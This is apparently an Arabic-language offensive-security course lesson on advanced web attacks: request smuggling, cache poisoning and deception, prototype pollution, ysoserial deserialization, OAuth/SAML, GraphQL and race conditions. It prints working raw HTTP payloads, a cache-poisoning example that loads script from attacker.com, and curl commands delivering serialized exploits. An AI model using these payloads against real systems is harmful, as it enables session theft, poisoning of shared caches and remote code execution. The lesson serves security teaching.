اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Advanced Web — Smuggling و Desync

Request Smuggling و HTTP/2 Desync و Deserialization chains

المستوى
خبير
المدة
120m
الترتيب
الدرس 27 من 85
SmugglingDesyncDeserializationPP

الويب على مستوى الخبراء

عرفت SQLi؟ XSS؟ IDOR؟ تمام.

- طب أنا حافظ Top 10، يبقى أنا web hacker مظبوط؟

يا مستجد. الـ Top 10 ده الأبجدية. إحنا هنا بنقرا أدب.

طب لما الـ frontend والـ backend يختلفوا في تفسير نفس الـ HTTP request؟

طب لما تخدع الـ cache يخزّن صفحة الضحية الشخصية (بكل بياناته جواها)، وتيجي إنت بعدها تطلبها بنفس الـ URL وتلاقيها قدامك جاهزة؟

طب لما تمرّر CRLF في header فتحقن response جديد بالكامل؟

تشبيه يقرّب الفكرة
في الـ OWASP Top 10، الثغرة بتبقى في كود المبرمج — هو كاتب SELECT * FROM users WHERE id = $input من غير ما يـ sanitize. تمام، الغلطة واضحة، والإصلاح واضح.

هنا في الدرس ده، المبرمج كاتب كوده صح. مفيش غلطة في كوده هو.
الثغرة عايشة في الفجوة بين الـ components اللي طلبه ماشي بينهم: الـ CDN، الـ load balancer، الـ reverse proxy، الـ backend. كل واحد منهم منتج شركة مختلفة، وكل واحد قارا الـ RFC وفهمه بطريقته الخاصة.

تخيّل خطاب بيوصلك من السفارة. مرّ على 4 موظفين قبل ما يوصلك:
الأول قراه إن الموعد يوم الأحد، التاني قراه يوم الاتنين، التالت ختمه على الأحد، الرابع وقّع على الاتنين.
المهاجم بيستغل الفرق ده. بيبعت طلب HTTP الـ frontend بيقراه على إنه طلب واحد، والـ backend بيقراه على إنه اتنين. أو الـ cache بيخزّنه كصفحة عامة، والـ origin بيرجّعها كصفحة شخصية.

الكود مش غلط. الفهم بين الأطراف هو اللي غلط. والمهاجم بيعيش في الفجوة دي.

حكاية: PortSwigger Top 10 of 2019 — Request Smuggling رجع من الموت

الدرس: الثغرات القديمة ما بتموتش — بترجع كل ما الـ stack يتغيّر. اللي اتعلم البروتوكول من الجذر، بيلاقي الثغرات قبل ما تتنشر.

HTTP Request Smuggling — لما الـ frontend والـ backend يختلفوا

تشبيه يقرّب الفكرة
تخيل فيه حارسين بينك وبين البنك: واحد عند البوابة (frontend/proxy) وواحد جوه الصالة (backend). كل واحد بيعد الزوار بطريقة مختلفة. لو بعتّ اتنين ملصوقين، الأول هيشوفهم واحد، والاتنين هيدخلوا. ده بالظبط الـ Request Smuggling.

أنواع الـ desync

  • CL.TE — الـ frontend يستخدم Content-Length، الـ backend يستخدم Transfer-Encoding.
  • TE.CL — العكس.
  • TE.TE — كلاهما يدعمان TE لكن يفسّران obfuscation بشكل مختلف.
  • HTTP/2 → HTTP/1 downgrade — frontend HTTP/2 يحوّل لـ backend HTTP/1.
  • H2.CL / H2.TE — تهريب عبر HTTP/2 mismatched headers.
CL.TE classic
POST / HTTP/1.1
Host: target.gov
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

الـ frontend بيقرا الـ 13 بايت كرسالة واحدة. الـ backend بيشوف chunked → 0 = خلاص نهاية، وبيعتبر SMUGGLED أول الرسالة اللي بعدها من ضحية حقيقية. مين هي الضحية؟ أي حد جاي وراك في نفس الـ connection.

هتعمل بيها إيه؟

  • تسرق session cookies لليوزرز اللي جايين بعدك.
  • تسمم الـ cache.
  • تتخطى access controls اللي على الـ frontend.
  • تحقن XSS على ضحايا تانيين.
  • تسرق كل الـ headers بما فيهم الـ Authorization.

الكشف والأدوات

  • HTTP Request Smuggler (Burp extension by Albinowax).
  • smuggler.py (defparam).
  • h2cSmuggler.
  • Burp Repeater مع timing differential analysis.

HTTP/2 و gRPC — جبهة جديدة بالكامل

  • Rapid Reset (CVE-2023-44487) — DoS عبر فتح streams و إغلاقها فوراً.
  • HPACK bombs — header compression للضغط على الـ memory.
  • CONTINUATION flood (CVE-2024-27316) — frames بلا END_HEADERS.
  • gRPC: تجاوز auth بـ :authority override، deserialization في الـ Protobuf.

Server-Side Cache Poisoning

تشبيه يقرّب الفكرة
الـ CDN/cache زي أمين مكتبة بيحفظ نسخة من كل كتاب اتطلب. لو لعبتها صح وخليته يحفظ "كتاب مزيف" تحت اسم كتاب أصلي، كل اللي هيطلبه بعد كدة هيلاقي المزيف. الفرق بينك وبينه إنك لعبت في "اسم الكتاب" مش في الكتاب نفسه.
payload
# 1) ابحث عن header غير مدرج في الـ cache key
GET / HTTP/1.1
Host: target.gov
X-Forwarded-Host: attacker.com

# 2) لو الموقع يعكس X-Forwarded-Host في الـ HTML/JS:
<script src="//attacker.com/main.js">

# 3) الـ cache يحفظ النتيجة. كل زائر تالٍ يحمّل JS من المهاجم.

الأداة: Param Miner (Burp) عشان تكتشف الـ unkeyed inputs.

Web Cache Deception — المرايا

عكس الـ Cache Poisoning بالظبط: هنا إنت بتخدع الـ cache يحفظ صفحة خاصة بيوزر معين كأنها static.

payload
# المستخدم لديه /account => يُرجع بياناته الشخصية
# المهاجم يرسل له رابط:
https://target.gov/account/photo.css

# الـ proxy يرى ".css" => يحفظها كـ static
# المهاجم يفتح نفس الرابط => يحصل على بيانات الضحية

Prototype Pollution — JavaScript

في JavaScript، كل object بيورث من Object.prototype. لو لوّثت الـ prototype ده، إنت لوّثت كل object في التطبيق دفعة واحدة.

JavaScript — vulnerable merge
// كود hashmap بسيط
function merge(target, source) {
  for (let k in source) {
    if (typeof source[k] === 'object') merge(target[k], source[k]);
    else target[k] = source[k];
  }
}

// payload في JSON body
{ "__proto__": { "isAdmin": true } }

// الآن: ({}).isAdmin === true لكل object في التطبيق!

فيه Gadget chains معروفة على Express وLodash وjQuery بتحول الـ PP لـ RCE كامل.

الأدوات: ppmap, ppfuzz, server-side-prototype-pollution-gadgets (PortSwigger).

Insecure Deserialization — سلاسل الـ Gadgets

الـ gadget chain هو ترتيب لكلاسات موجودة فعلاً في الـ classpath، لو فككت الـ deserialization بترتيب معين، الكلاسات نفسها بتنفذ كود من غير ما إنت تكتب سطر. إنت بتستخدم سلاحه عليه.

الأشهر في الميدان

Java
ysoserial — CommonsCollections1, Spring, Groovy, Hibernate.
ysoserial.net للـ .NET.
Python
pickle، PyYAML قبل safe_load — استخدم __reduce__.
PHP
phpggc — Laravel, Symfony, WordPress, Doctrine chains.
.NET
BinaryFormatter, NetDataContractSerializer — مع ysoserial.net.
ysoserial — Java
# توليد payload يستغل CommonsCollections1 لتنفيذ id
java -jar ysoserial.jar CommonsCollections1 'id' | base64

# يُحقن في أي endpoint يستخدم ObjectInputStream
curl -X POST https://target/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

OAuth & SSO — هجمات القفل الذهبي

  • Account takeover via dangling redirect_uri — تسجل subdomain منتهية وتستخدمها redirect.
  • OAuth covert redirect — redirect_uri فيه open redirect.
  • SAML XSW (Signature Wrapping) — تلعب في الـ XML بحيث التوقيع يتحقق على جزء، ويتقرا جزء تاني خالص.
  • JWT confused deputy — توكن جاي من issuer تاني بيتقبل لأن محدش بيفحص الـ iss.
  • Cross-tenant takeover في SaaS متعدد الـ tenants عن طريق trust بايظ.

GraphQL — هجمات أعمق

GraphQL DoS — alias-based
{
  a1: user(id:1) { posts { comments { author { posts { comments { ... } } } } } }
  a2: user(id:2) { ... }
  ... 1000 aliases
}
  • Field suggestions بيكشف الـ schema حتى لو الـ introspection مقفول.
  • Mutation race conditions: aliases كتير عشان تستهلك نقاط reward قبل ما يتفحصوا.
  • auth ضعيف على resolvers معينة لأن حد نسي يحط الفحص.

Race Conditions — ثواني بتكلف ملايين

تشبيه يقرّب الفكرة
تخيل ATM فيه عيب: تضغط Withdraw مرتين بسرعة قبل ما الرصيد يتحدث، يطلع لك المبلغ مرتين. ده race condition / TOCTOU — وقت الفحص مش هو وقت الاستخدام.
exploit
# 50 طلب متزامن لاستخدام كوبون تخفيض مرة واحدة
turbo-intruder + race-single-packet attack
# أو
GO + curl --parallel
ffuf -threads 50 -u https://target/redeem?code=PROMO
  • Turbo Intruder + single-packet attack (PortSwigger 2023) بيبعت عشرات الـ requests في TCP packet واحدة.
  • التأثير: سحب رصيد متكرر، تخطي email verification، حجز اسم يوزر محجوز لحد تاني.

إزاي تصطاد ثغرات حقيقية؟

  1. اقرا الكود لو قادر: source review >> black-box. مفيش مقارنة.
  2. اطلع بره الـ checklist: OWASP خطوة واحدة، الإبداع باقي السكة.
  3. افهم الـ business logic: أغلى الثغرات بتختبي هنا، مش في الـ payload.
  4. وصّل الثغرات ببعض: SSRF صغير + open redirect + IDOR = اختراق كامل.
  5. وثّق proof-of-impact بشكل واضح للـ blue team.

غلطات الـ junior في الويب المتقدم

الخلاصة الناشفة

الويب المتقدم مش تقنيات أكتر — هو فهم أعمق.

كل bug class هنا (smuggling, cache poisoning, SSTI, race conditions) بتطلع من نفس المبدأ: اتنين components بيختلفوا في تفسير نفس البيانات.

اللي بيتعلم المبدأ، بيلاقي الـ bug في أي stack.

اللي بيحفظ payloads، بيلاقي الـ bugs اللي اتنشرت — ومش بيلاقي حاجة جديدة أبداً.

اكتبها على غلاف الكشكول:

الثغرة بتعيش في الفجوة بين اتنين components بيختلفوا في الفهم. دوّر على الفجوة، مش على الـ payload.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.